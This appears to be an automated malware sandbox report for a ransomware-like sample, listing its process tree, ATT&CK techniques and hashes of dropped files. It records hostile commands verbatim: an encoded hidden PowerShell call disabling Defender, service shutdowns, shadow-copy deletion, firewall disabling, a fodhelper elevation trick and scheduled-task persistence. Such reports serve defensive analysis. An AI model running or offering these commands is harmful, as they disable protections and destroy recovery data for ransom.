C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5152
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1592
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:652
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:5880
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2772
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:3868
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3228
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:5028
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:1248
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Users\Admin\AppData\Local\Temp\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:6032
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3236
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:2212
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5076
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5364
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:2516
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4048
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1776
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3412
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:1956
-
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:4128
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:2500
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2920
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5312 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5724
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:2088 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3248
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3472 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:2032
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:2384
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1384
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:3672
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2204
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:6020
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5780 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1992
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2180
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2076
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5456
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:1008
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2104
-
C:\Users\Admin\AppData\Local\Temp\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:2960
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:5680
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260507_083721.jpg
- Size 143KB
- SHA256 2c4fad403640b8aec3b21ab2771a0c7c42ad509a71c6529a11b68400613fff9c
- MD5 e02a18c306b5568327ec877ee381571a
- SHA1 049ff262a1107e6bfe1269d89b96ab1427d87e7d
- SHA512 6d1ec551b0ad3aef4788c7fa2b8687fbd976292c74d4323e3e33633f90317e534bfa4a71891ddc5135b90d8754ba88d124745d5bd8b3c7ee54cf2933f79adb8e
- SSDEEP 1536:InRyfUUqAkq1F2/le1XGRpU1quqV02/80NkZ6qp7USY2hYBxd/tZMkX5i5yu+ygX:VlwUswM2eDd5H3+xXV0ntIMsa/vDUUB
- TLSH T1B0E3A6079C14D7D2A52883E9BE471EAC2F1B674CD8857EFF41260F8B7E602660D9E05E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 68KB
- SHA256 784ab9281f594bc8c113fa7b769efdff0f68fa1dc37ce9df0860bbe8559d040e
- MD5 40ac757663d23f357f9f831fcdd81137
- SHA1 c0b117bf9731fcd9d88fd697346097e06f97c6d9
- SHA512 4f1797ae86e3b19d98914d5896e2cf1c9beb621d29bee0f857f6fd4b36e3ccbe50200933383364035cc80a339c5981e9054b750f2dcfa3e16e57d8187d1d4694
- SSDEEP 1536:oBU+XPHXcBn3fqM+3BoimpWYK3q5H9RFtsFiuPBJA8ezplLRSku1uJ6V0BrB:oBUU3cBn63Bo9Vz5dRP/uazplCI3pB
- TLSH T1C2633C364B33FDC1A77E3D80E05039461C883F6787F56678FA850EAA18E6244DF6E558
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 67KB
- SHA256 1138f6270584b60ec10a86b5cd163ffd2f5222275b952092caa81abc78e998e8
- MD5 ceeac2987839e03f1c663f2873137bf4
- SHA1 a78d012113842342f629f5f9e2be99095fdeecd6
- SHA512 6c0380c7bf7411921f80223615ecd3c56edddae222bd343750f2da0348e6c853ed20205a23088fa8660fa3e446955fbfcc0a8962f5d18ad5e1b14d059d7b06fd
- SSDEEP 1536:IBU+XPHXcBn3fqM+3BoimpWYK3q5H9RFtsFiuPBJA8ezplLRSku1uJ6V0Br4:IBUU3cBn63Bo9Vz5dRP/uazplCI3p4
- TLSH T1C4632C378B33FDC1677E3D80E05039461C883F6787B56678FA850EAA28E6244DF6E558
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 ece436a25f3b89ca78b1e5d6737ec30b278563a6d10bfbf4af6939713cb3ec3d
- MD5 6d7afe3c354088d8d38e6ed6fd8792d0
- SHA1 2a0e2e423d62223f7edd84b30356dfa773fc5e48
- SHA512 4a25946d24cdf4d9c5c6ac908efddf24cb5898acbfc96d4ef2d67d88b5f599b1718dbc02c356d9903ec9a3cf0e53049ba30724c16739ea62da2839a6cbafd366
- TLSH T1C5E02BABD852EC2708FD1B1C60154B4AEF0113172B82554B7A3C860D8FF163B4586C1C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00002b
- Size 35KB
- SHA256 aeccfb0bda578a0e0068a9fdc7bc4a719f6c8a1279a6fa94b2ca5efdf7defe18
- MD5 2e770fcfcfb6ff89d046e4968f19c189
- SHA1 1212eb0ca7986dc47657191a3273f0d955ae8bfc
- SHA512 49e1c24b4b31c353ba16aad7fe8117f11944716538b1b5e5efee73bf04dd8f08ce7af0e9520e9047b416b624389ed239c416e492ac0732ef6f65ff750e767a8b
- SSDEEP 768:tEa1lkSui0gPahkubDlIUNxmVn5Y+E/JRPljweh3VX84WhDfQ:aElk60san22/JJ9c9fQ
- TLSH T14DF2F12593B1185F2588ECE00243C2A1E5BE2D7F1A4A67875DF943535E9B35F02B8FE2
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00002e
- Size 105KB
- SHA256 92fdf3951ff07f1154c0a317923f9ae91955d16443b0cf5790d91865e6b4b638
- MD5 5330d84361d10b75a3c092c9830be864
- SHA1 424a473d6a911dccfbac8b50046307d135a915b4
- SHA512 637fde26625a02fcd721e665204119b4239d16b8f7910abdb430e6ac9b5711b8b01ccab529ce4eb39d43fe1ccf1a895159f2eae112d9dab3611f495783b48ad0
- SSDEEP 3072:Xaf76KDq8ZyXOhziEgCfJBWaPHLrbfgTR+Pl:cO9ivh5WaPHLr/Pl
- TLSH T146B312E7061329FEB6D2ED5FD31173AA1695C3208BD7123500B1AC8A5706F3A690D6DF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 768B
- SHA256 803dbd9c00d4cfb0fe91f1ed612572ba943c2c6e1d9683f217d75875e25f3d4f
- MD5 bc976609975966040022b267a5207d7f
- SHA1 3083cfc775d08f27c5dfdb18b1070801b412342c
- SHA512 d1eec6a69f00113f14944b2863162ac0f6013b3260683858d148e91fcde445477cb4d8c796ce9c905d776dd53ac2954b95bb6f5a01dda16d423c34b37b092377
- TLSH T1D201A415EE9C6047DB858F34E8CE0E84BCB8C62421036F838CE822737D1BED6C4A64C2
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 6KB
- SHA256 58f3d0b74a93b3458a009f13a83d465221b795b3cdd68e50d3420cefa7c15889
- MD5 ca32355de8e98fc1946ddafd301af0f1
- SHA1 17ca803060ad8e644aaa505abb29a19a9040c9c0
- SHA512 1e37cd78db5d45864a04b32555a02658a4b02d8cb922807e6f8297393035e67041bc093c28733f575f33d8bc83f981e65bc18016219c02cac3e7d5ea242ebf4f
- SSDEEP 192:D0+rPTwTBaaIEgdEpNKV4aj+4QrHZRkIM2vc3psjh2:D0+rPTwTBaaIEgdEpNKV4aj+4QrHZRkn
- TLSH T1AAE169F7C3F4866D891151F4AB156E1FDD1A09245B2C3C26C9E9AF0BD3E2871E24079E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 de7196c5dc4ef59b8998c234278f16f15474417b0fa310bd931649ecf7c0a57a
- MD5 d98d7518442894d20f1c7852c6929767
- SHA1 e99e75c49ce340852f1285f0cdab4525cf0e457b
- SHA512 a45ee103fd7a95d46de6b951f7c151ca5ccc044175ef2ba3a17fc03bcdc7daefda5eca8a1c50e2271e1edced75ccf25d5bb744c60e64e301a77616a133ea31b6
- SSDEEP 192:KRFXUgQJhUlv7japAPRp2459mHsb+WNnHXkGl2/nMPAalYTpGokVyIsnAUge:KRFXRVaUXpIw3b2JaGge
- TLSH T1BE42D73AA914787F5CCBD22AFA667B27D7F5102124942EC4E6FC8B2C14E7ACD2217417
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 74c927596d800046e9af670e552c7ac9a298a1a299bf148f7b786f4975cfda8f
- MD5 70b2d94a68a805093e17d59f9f00834e
- SHA1 0f1d3d75cb0b7d2b2fb0226bdea2802a5d615672
- SHA512 f104b54c5cf609ea9d63f4be763cb2a2df98c272e4e0a2968f60a5ca9120c0b72786735e1e451cc710af12b72aa0113f4fff0c770e7da50564abd984e2da3f01
- SSDEEP 192:KRFXqgQJhUlv7japAPRp2459mHsb+WNnHXkGl2znMPAalYTpGykVyIsnAUgraJ:KRFXfVaUXpIw3b2VaQge
- TLSH T12652D73AA910797F5CCBD21AFA667B27D7F5102124941EC4E6FC8B2C14EBACD2217417
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 17KB
- SHA256 56a1e8c00cba78461b814b7af7b99a3de58a4329a7a44475b23e4150677716ca
- MD5 6932e737f9fb5bb798f741f34796b7e1
- SHA1 58bd5e6597f4a5801de9e176eca39fb244cddab8
- SHA512 6e0d027f757f85c0e73419b5d0cc63c8778e317595fc91efbb163ddebee9c4ad7ab8467ebddc43b66b02293c61347fd81b0b3e241e6794b5bc99b05d775c9885
- SSDEEP 384:y4jGR7KxkXqKf/pUZNCgVLH2Hfgslyi7pLuLcifIpXODGJ+ErU3DcHG8akl78fPY:yMGR7KxkXqKf/pUZNCgVLH2Hfgswi7pz
- TLSH T1FC720AA76C4C997B0F94CACCC8177F4FADB5015B65E9886493FB582603D8BCB11091EB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 a8b9dfe927c76689f818129f48b7e46f8cf85cb6f2522a9ff728f9960db9e1e5
- MD5 1c64fcb6e425fc4cad9d2c7f29ab02eb
- SHA1 45131b2506ebab00af883b31f8ade8a489d3772d
- SHA512 ba78e2fa3e47c043e67d909a974d7a60f1215912942085a54451bd6a22aa5ceb1a298da5112282e0d9b204d49bfe95d5ceb5e4c1e942c28568b982496605c16c
- TLSH T1D3B0125080415541C40302F425CA448E32189F20C705130153E0E971D927190C029260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58ca21.TMP
- Size 96B
- SHA256 11db63e467cab672f6c0d483a15c414929799448c3759488f155b15315658dfa
- MD5 919fe5ab7cb4b0f95be84353a6565836
- SHA1 036f24d842773dedcb799d7bf33b44ec8568724e
- SHA512 412bc4ca9be5c8418ab00f648d5bbb6afe69d56f06c292e35447f8c1b290920c42289b3136fa7fd5283512fd961ad3118e5c13494330e448bc494dd0c1e0cfe8
- TLSH T14AB00255C506A212C08203B07995E5DCB1A4DF7ACA031226E2E01B77DCED7608526B64
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 49a63538759bacecf0b94a7c922cfe8cc4b4d16f57b97362ff27b51e707842e1
- MD5 65b19024ebc7f5415168c67127720901
- SHA1 1d7e64041da14cfd5830bc3b4a3f2994324e45c1
- SHA512 e37cb7f6f2762d5695de80da0b0b31defbd233799602136cd669f53b2f6bb3f081f7208ec0e8ac57576d0d88f2f6ce5579275e9570bc3404208f5ea53bf25488
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2Oj2VVump2nn:1nbZeMrv/hGtj2inn
- TLSH T113D3A74B3A743102EDE59A721CE051BB5E3CB16D8F5595D428B620688EF2863B23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 89KB
- SHA256 7080d25980e87cc4828403474681cfb5155c1274b838bff104c0a06bb06acadd
- MD5 5f7b92f1b66cb1f38004ad41b1e51b93
- SHA1 3ba1c94f2d47e0516c915814d8e6c5784d534f35
- SHA512 216c4153a18227b429805c44fdb286e5fb945cd8911f3f1b5efffdae2946c9a36a50a92ddac5cd395b5a6509e010964a167f94cb7aeb0448a85ecef621b1a8b0
- SSDEEP 1536:0cCVcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9Yj:0J3Qw/xLANk0mUW5GmRntSFCjEENW
- TLSH T1409302BA9E2646E7957D468176AE7808CE13130D709FA9CC715C639C21D41C92B72E73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 199KB
- SHA256 ab4c77f4c9d1fb98af43064a7700f63fddc62297923a84b05e7a338bf14602e4
- MD5 e6aadaf37bdd4d8e753631b0367cfda0
- SHA1 5fe6e83a6f9c01309b9a3c19bb4fcf839f7f3b35
- SHA512 2037ce800c91de4d8646547457910bcabcd6a7a949264774a9efe4578aa9939ca6145583da4d724bc3d41a5af0751e5116231b04b2c79b4c65878d3b572a144b
- SSDEEP 6144:04HueS/Kow9MecpSuaE8uwrOk0HOGm/SFyEEi:04TnDcpJaECrOjuGdF2i
- TLSH T12A1412BA9D1326EB45B54F2A752E3A0A4E720705D09FD4DCB48CA3DE71CF0C49B22992
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 198KB
- SHA256 adf4f219523de9f2e8b0819457d4ca5bfc73fdbb5988cf68d682395a2564a46f
- MD5 2184110ea90df5ddbfc0871a7fb88092
- SHA1 3119b888936d34d3dc56597e0ba90796f2abb61f
- SHA512 5fc19c106fa0a6214309bbe2a04528522807fcaa9c67a856e71782cd5949986a3bba31d96314ce1633a3a1fa14c1516038b87b3720d19df5b1d9b325de95f6ee
- SSDEEP 6144:0ZeS/Kow9MecpSuaE8uwrOk0HOGm/SFyEEi:0onDcpJaECrOjuGdF2i
- TLSH T16B1423B65D5767EB41B94B66752E2A0E4F370701D09FE0ECA44CD3DE31CA0C49771A92
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 198KB
- SHA256 6fe966f447ae7c43cefc8b7356f986edd4cb7fdff6d9ad3a5d5e58868c266960
- MD5 ab1e34d112d5940a0f301c508df49af0
- SHA1 73aaa3bf180df16a88f9d8a58c872f18369c6331
- SHA512 5facd30ad1b8cf21bbfde8c51689004f5aaabc581f6d7c430d6cc667bbdf795fa191bcd12f3818bf4e5df74ec244aa43c7896ebc3bf9e5c4ebc4d6a9cd36ff8c
- SSDEEP 6144:0ueS/Kow9MecpSuaE8uwrOk0HOGm/SFyEEi:0TnDcpJaECrOjuGdF2i
- TLSH T1501423B65D1767EB41B94B66752E2A0E4F370701D09FE0ECA44CD3DE31CA0C89771AA2
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-07_277a6da45b885e529323a04ee02d8dd6_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ovbb3hfh.q1r.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 844221af5a62da8b3e7aa15ae3313f1b06da74f65f9d845f9ec675d1d81b2dd6
- MD5 b2f98e458ce84a6aa70b561887830c5b
- SHA1 6e9d3e2fdc877e470a3398d700415ca40d3eae6b
- SHA512 3ac5ade353a32931a679e7f100ddeaccf0c18cf363e9b3be07b60977b04b122181a720d139a8e58fb9da62a016f557f8598ad4ae7faf64fe9480ea0d683b2353
- TLSH T109E07D47A148869A0011613781F28D4CD4F05468362B7E608664CD4D36918C598F5042
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 9bfa4a89338f4917b10364f60a892546b40d264cadabb6e256dd58f6b8a16f64
- MD5 ca3da78e1d0022926be2b29dc5e5a710
- SHA1 65d30def8c6bd0372b2d4b2b53ba5cc6bf7e9820
- SHA512 4fd846d8a2cca59e542833951557a398b60090cdc3bd23112f6ad5bee08d5fffb450156abef4f3f1f7465d2ab3c1443e3e8154fd52f36db9e93c3a04fff7fa4e
- TLSH T1BFE07D87A148869A0011613B80F28D4CD5E055683A2B6E209664CD0E369188598F5042
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 191KB
- SHA256 42222cdc92d02b80836a190fda80d386a1e6505a5806006ffcc5e64bbeb6ade3
- MD5 0ba85479e853caa33b9e56a4de077722
- SHA1 b17c40684ef2432872c86568b03402995a5d51f0
- SHA512 74570a874d224701b4eb71201bacf118055cb4a0eb5155aa86b5f96b375355b9426585de3558909638db566ca480b0fc017db3b1a8c96f761609b227f7b7fd71
- SSDEEP 3072:mmsuodFSBG4/eZw4Sln2E3c3HyKkdc1pnRQyiLky:FSS/eTAVcCt45Syin
- TLSH T1D314D544C6F3CE2B04825BAB180677D1E439B7B492EC94FF20A27A67F4768B6C75D610
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 191KB
- SHA256 d753c05b774a16349f5373f9d5873b743da8e2d42a54a6b645f1b7483a4a0e04
- MD5 756d0f0eb998256a72fa58821b3c53e8
- SHA1 8f9d47144c98b9a349f0871101ef741ca2cf37ed
- SHA512 409e7edc05f6a8c62782badc56c31b9f02abf3a5d919c3397260d257956ff6ff33d5329ac3ac1c3e3ff3a6977cddfd0f960548fe4a2c6fd34936f62bf9fce1b8
- SSDEEP 3072:ImsuodFSBG4/eZw4Sln2E3c3HyKkdc1pnRQyiLki:vSS/eTAVcCt45Syiz
- TLSH T17314D444C6F3CE2B04825BAB180677D1E439B7B492EC94FF20A27A67F4768B6C75D610
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 50KB
- SHA256 616cac54075a2d62bbdd6437e513e8354b64a93da466efa6d31ed3e71cd3d2ea
